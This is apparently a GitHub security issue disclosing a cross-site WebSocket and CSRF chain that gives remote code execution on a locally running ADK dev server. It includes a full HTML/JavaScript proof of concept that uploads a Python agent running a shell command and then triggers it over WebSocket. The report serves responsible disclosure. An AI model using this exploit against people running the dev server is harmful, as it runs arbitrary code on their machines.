Skip to content

WebSocket /run_live endpoint lacks Origin validation, enabling CSRF-to-RCE #4947

@luskabolas

Description

@luskabolas

Description

The /run_live WebSocket endpoint does not validate the Origin header. Since browsers do not enforce CORS on WebSocket connections, any webpage can establish a WebSocket connection to the local ADK dev server.

Attack Chain

A malicious webpage can chain this with the /builder/save endpoint (which accepts simple POST requests that bypass CORS preflight) to achieve remote code execution:

  1. Upload a malicious agent.py via POST /builder/save?tmp=true (multipart/form-data, no preflight)
  2. Persist it via POST /builder/save
  3. Create a session via POST /apps/{app}/users/{user}/sessions/{session}
  4. Trigger execution via WebSocket /run_live — the agent loader imports the uploaded Python file, executing arbitrary code

Steps 1–3 use mode: "no-cors" simple requests. Step 4 exploits the missing WebSocket Origin check.

Impact

Remote code execution on the machine running adk web. A user only needs to visit a malicious webpage while the dev server is running.

Reproduction

Serve the following HTML and visit it while adk web is running on localhost:8000:

<script>
const T = "http://localhost:8000";
const app = "csrf" + Date.now();

(async () => {
  // Upload malicious agent
  let fd = new FormData();
  fd.append("files", new Blob(["import os\nos.system('id > /tmp/pwned')\n"]), app + "/agent.py");
  await fetch(T + "/builder/save?tmp=true", { method: "POST", body: fd, mode: "no-cors" });

  // Persist
  fd = new FormData();
  fd.append("files", new Blob([""]), app + "/d");
  await fetch(T + "/builder/save", { method: "POST", body: fd, mode: "no-cors" });

  // Create session
  await fetch(T + "/apps/" + app + "/users/x/sessions/s", { method: "POST", mode: "no-cors" });
  await new Promise(r => setTimeout(r, 300));

  // Trigger RCE via WebSocket
  new WebSocket("ws://localhost:8000/run_live?app_name=" + app + "&user_id=x&session_id=s");
})();
</script>

Metadata

Metadata

Assignees

No one assigned

    Labels

    web[Component] This issue will be transferred to adk-web

    Type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions